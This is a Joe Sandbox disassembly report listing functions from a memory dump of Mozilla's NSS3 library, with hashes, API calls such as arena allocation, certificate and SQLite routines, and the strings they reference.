Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 9984e569ad95a409d68c46b1c6751a3f943d26eef9f88807f0c79b1be806dfba
Instruction ID: a73d8daa728634f8302de383399f2746082fec97ea33ca42cd891527ad9e6535
Opcode Fuzzy Hash: 9984e569ad95a409d68c46b1c6751a3f943d26eef9f88807f0c79b1be806dfba
Instruction Fuzzy Hash: C851D171A043219BDB01DF69DC89B5B77E5EF94348F14882CEC59C3650E731E816CB92

Function 6C548980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C547310), ref: 6C5489B8

Part of subcall function 6C5A1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A1228
Part of subcall function 6C5A1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C5A1238
Part of subcall function 6C5A1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A124B
Part of subcall function 6C5A1200: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0,00000000,00000000,00000000,?,6C5488A4,00000000,00000000), ref: 6C5A125D
Part of subcall function 6C5A1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C5A126F
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C5A1280
Part of subcall function 6C5A1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C5A128E
Part of subcall function 6C5A1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C5A129A
Part of subcall function 6C5A1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C5A12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C547310), ref: 6C5489E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C548A00
CERT_CopyRDN.NSS3(00000004,00000000,6C547310,?,?,00000004,?), ref: 6C548A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C548A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C547310), ref: 6C548AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C547310), ref: 6C548AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C547310), ref: 6C548B1D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: fb1b0216d8d372ac2513dcf1fbb870602f6bf9063b654e918cfe426f0bf527af
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 2A51D375A01210EFE7108F16CC44B6A77A8EF82728F19C15AED15DBB91E7B1E805CBD2

Function 6C556730 Relevance: 13.6, APIs: 9, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 6C555DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C555DEC
Part of subcall function 6C555DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C555E0F

_SGN_VerifyPKCS1DigestInfo.NSS3(00000000,?,?,00000000,?,?,?,?,?,?,?,?,6C556729), ref: 6C5567A0

Part of subcall function 6C59A470: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C59A4A6
Part of subcall function 6C59A470: PORT_Alloc_Util.NSS3(?), ref: 6C59A4EC
Part of subcall function 6C59A470: memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C59A527
Part of subcall function 6C59A470: memcmp.VCRUNTIME140(00000006,?,?), ref: 6C59A56D
Part of subcall function 6C59A470: memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C59A583
Part of subcall function 6C59A470: PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C59A596
Part of subcall function 6C59A470: free.MOZGLUE(?), ref: 6C59A5A4

SECKEY_SignatureLen.NSS3(?,?,?,?,?,?,?,?,?,6C556729), ref: 6C5567C0
PR_SetError.NSS3(FFFFE030,00000000,?,?,?,?,?,?,?,?,?,6C556729), ref: 6C556800
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C556842
free.MOZGLUE(?), ref: 6C556855
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C55686B
free.MOZGLUE(00000000), ref: 6C556874
PK11_VerifyWithMechanism.NSS3(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C556729), ref: 6C5568C1
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C5568D6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$Utilfree$Verifymemcmp$AlgorithmAlloc_DestroyDigestFindInfoItem_K11_MechanismPolicyPublicSignatureTag_WithZfreememcpy
String ID:
API String ID: 1437015310-0
Opcode ID: 156077ffaf2f2c103e8bf4f9887febcaf01cd1e6d905e0e5534246e42f3c1d1a
Instruction ID: a89902b70a23940472933ce99606d83dc3a15fde61ecc47c1b4ed2f2c71f4126
Opcode Fuzzy Hash: 156077ffaf2f2c103e8bf4f9887febcaf01cd1e6d905e0e5534246e42f3c1d1a
Instruction Fuzzy Hash: 8E51D470A003459BEB10CF69CC84BAB73F9EF85318F548529E85ADB741EB31F91587A1

Function 6C590750 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C5907AA
EnterCriticalSection.KERNEL32(?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C5907C7
PR_Unlock.NSS3(?,?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C5907E5
PK11_GetNextSafe.NSS3 ref: 6C590801
PR_Unlock.NSS3(?,?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C590817
TlsGetValue.KERNEL32(?,?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C590835
EnterCriticalSection.KERNEL32(?,?,?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C59084E
PR_Unlock.NSS3(?,?,?,?,?,74720406,6C557296,00000000,?,6C5944FE,?,?,?,?,6C557296,00000000), ref: 6C590870
free.MOZGLUE(?,?,?,?,?,74720406), ref: 6C59088F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$K11_NextSafefree
String ID:
API String ID: 810312292-0
Opcode ID: 8b0285ecde8a7555a6a9bdb236413447e4b1d84428b1d93678dee7842e6792f2
Instruction ID: b64b28e215202c9b72ddcc8eb04c371eb11b1bc93dde72af8ffe0c9103804a29
Opcode Fuzzy Hash: 8b0285ecde8a7555a6a9bdb236413447e4b1d84428b1d93678dee7842e6792f2
Instruction Fuzzy Hash: EF412E70A04686DFCB00EF69C98456DBBF4FF89354F11496AD899D7711EB30E884CB81

Function 6C5D0750 Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(00000130,00000000), ref: 6C5D076D

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

SECITEM_ZfreeItem_Util.NSS3(000000EC,00000000), ref: 6C5D0787
SECITEM_ZfreeItem_Util.NSS3(000000F8,00000000), ref: 6C5D07A1
PR_DestroyRWLock.NSS3(?), ref: 6C5D07B4
free.MOZGLUE(?), ref: 6C5D07C4
free.MOZGLUE(?), ref: 6C5D07D5
CERT_DestroyCertificate.NSS3(?), ref: 6C5D07E6
CERT_DestroyCertificate.NSS3(?), ref: 6C5D080A
SECITEM_ZfreeItem_Util.NSS3(-00000104,00000000), ref: 6C5D081B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Item_UtilZfree$Destroyfree$Certificate$Lock
String ID:
API String ID: 2711105989-0
Opcode ID: 1296c93b1ec7e0263344e7868fb8ed616935060e19ebacad75160c09c9997aec
Instruction ID: 1d20f681eca6bb91954ad0087032619eae03c3e819d787c168d8b72bc103151b
Opcode Fuzzy Hash: 1296c93b1ec7e0263344e7868fb8ed616935060e19ebacad75160c09c9997aec
Instruction Fuzzy Hash: 3021D3B2B01346B7EB00DA69DC45BD6B36CBB80349F104132E819D6E81F730F568CAE9

Function 6C4DE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C4DE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C4DEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6C4DED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C4DEDC2
foreign key on %s should reference only one column of table %T, xrefs: 6C4DEE04

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 9387911a583a282cbeaa615cadab39f8ea6e8ee4a80c63db5d7d66b919fd83ab
Instruction ID: ee9d76a395f54f5a9f8e0559b5b6534f7a11c9012c3ba6b7fe8e3ff20eb13b80
Opcode Fuzzy Hash: 9387911a583a282cbeaa615cadab39f8ea6e8ee4a80c63db5d7d66b919fd83ab
Instruction Fuzzy Hash: 35026071E012068FDB04DF59C4E0EAEFBB2BF89315F1A41A9D815AB751D731B942CBA0

Function 6C612F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C612FFD
sqlite3_initialize.NSS3 ref: 6C613007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C613032
sqlite3_mprintf.NSS3(6C67AAF9,?), ref: 6C613073
sqlite3_free.NSS3(?), ref: 6C6130B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6130C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6130BB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 945f41b6a70d5666e86c6cb6d3eb5526d9983edc826e7b330fe15d1e8d85eb46
Instruction ID: c7448d6faccebd66dcbc87f59e725e2b75e45d26f402cf0231575ae3054413dd
Opcode Fuzzy Hash: 945f41b6a70d5666e86c6cb6d3eb5526d9983edc826e7b330fe15d1e8d85eb46
Instruction Fuzzy Hash: D841AF71604A06AFDB00CF29D840A8AB7E5FF4436AF148638EC1A87B40E731F995CBD5

Function 6C55E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E44F

Part of subcall function 6C562C40: TlsGetValue.KERNEL32(#?Vl,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C62
Part of subcall function 6C562C40: EnterCriticalSection.KERNEL32(0000001C,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C76
Part of subcall function 6C562C40: PL_HashTableLookup.NSS3(00000000,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C86
Part of subcall function 6C562C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C55E477,?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C562C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C563F23,?), ref: 6C55E52F

Strings

#?Vl, xrefs: 6C55E409

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?Vl
API String ID: 3106257965-336702144
Opcode ID: bb4cf9734714d30185052e74d987c3ece2ef366b200daa36b468eba0d9159259
Instruction ID: a8717be78f5928e8135d6c139c32e7c56cf33731818275d84d95fc6a5b42a087
Opcode Fuzzy Hash: bb4cf9734714d30185052e74d987c3ece2ef366b200daa36b468eba0d9159259
Instruction Fuzzy Hash: 514157B4A04615CFCB00EF79D98446EBBF0FF49304F41496AD8859BB15E734E894CBA2

Function 6C558CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C56124D,00000001), ref: 6C558D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C56124D,00000001), ref: 6C558D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C56124D,00000001), ref: 6C558D73
PR_Unlock.NSS3(?,?,?,?,?,6C56124D,00000001), ref: 6C558D8C

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C56124D,00000001), ref: 6C558DBA

Strings

KRAM, xrefs: 6C558CF9
KRAM, xrefs: 6C558D3E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: a6968f655a8fec50de3c001c5c9f9adc77e92031a8a3449dfa38f7e0ee05940c
Instruction ID: 57d661ac23934f69b1a2d011721d9ad0f6a4dfe19f2dd05ded3a25a00b58a802
Opcode Fuzzy Hash: a6968f655a8fec50de3c001c5c9f9adc77e92031a8a3449dfa38f7e0ee05940c
Instruction Fuzzy Hash: 92219FB1A54601CFCB00EF79C98466ABBF0FF85308F55896BD89987701EB34D851CB92

Function 6C650ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C650EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C650EFA

Part of subcall function 6C53AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C53AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C650F2B

Strings

Aborting, xrefs: 6C650EB3
Assertion failure: %s, at %s:%d, xrefs: 6C650ED9, 6C650EE5, 6C650F06, 6C650F0B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3edc645243e8e66e880b55cb3567bb758d6dbfe4b2ba739a39845e0d9d2df757
Instruction ID: cbfd8fd9a1a18c6220c19936ea95a6ef95b2571ea1d2efcb13b2a6ed78d56865
Opcode Fuzzy Hash: 3edc645243e8e66e880b55cb3567bb758d6dbfe4b2ba739a39845e0d9d2df757
Instruction Fuzzy Hash: AC01A1B5900114BBDF016F55DC85C9B3B6CDF46368F504014FD0A97611D631E92496BA

Function 6C558B50 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C560948,00000000), ref: 6C558B6B
EnterCriticalSection.KERNEL32(?,?,?,6C560948,00000000), ref: 6C558B80
PL_FinishArenaPool.NSS3(?,?,?,?,6C560948,00000000), ref: 6C558B8F
PR_Unlock.NSS3(?,?,?,?,6C560948,00000000), ref: 6C558BA1
DeleteCriticalSection.KERNEL32(?,?,?,?,6C560948,00000000), ref: 6C558BAC
free.MOZGLUE(?,?,?,?,?,6C560948,00000000), ref: 6C558BB8

Strings

HVl, xrefs: 6C558B59

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$ArenaDeleteEnterFinishPoolUnlockValuefree
String ID: HVl
API String ID: 1456478736-3637527520
Opcode ID: 97e721f5131db5613bd6de2671eb0cd140fadc31e7e2379a060b5894cbe0194a
Instruction ID: 43d5d0fc0404b571e38802a17605bd8cb672482e3d745b3a7894debd8f9bcea0
Opcode Fuzzy Hash: 97e721f5131db5613bd6de2671eb0cd140fadc31e7e2379a060b5894cbe0194a
Instruction Fuzzy Hash: E5113DF1614605DFDB00BF79C88916ABBF8EF45354F41492AD88587600EB34A895CBD6

Function 6C652B70 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140(?,.dll), ref: 6C652B81
PR_smprintf.NSS3(%s%s,?,.dll), ref: 6C652B98
PR_smprintf.NSS3(%s\%s%s,?,?,.dll), ref: 6C652BB4
PR_smprintf.NSS3(6C67AAF9,?), ref: 6C652BC4

Strings

%s\%s, xrefs: 6C652B93
.dll, xrefs: 6C652B7B, 6C652BA8, 6C652BCE
%s\%s%s, xrefs: 6C652BAF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: R_smprintf$strstr
String ID: %s\%s$%s\%s%s$.dll
API String ID: 3360132973-3501675219
Opcode ID: ce8ff608d1888d2cbad8c0d36c99db5e63e52fe5076e5762dd1181a49c306075
Instruction ID: c6c30182f3a86353983af80035f1e617e8646a807264960a28d251f3fbfca47e
Opcode Fuzzy Hash: ce8ff608d1888d2cbad8c0d36c99db5e63e52fe5076e5762dd1181a49c306075
Instruction Fuzzy Hash: DCF08226D01055729A30245A6D0CDD73F1DCCD37ACBA40C5ABC1962E43FB26E52489FF

Function 6C614D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C614DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C614DE0

Strings

%s at line %d of [%.10s], xrefs: 6C614DDA
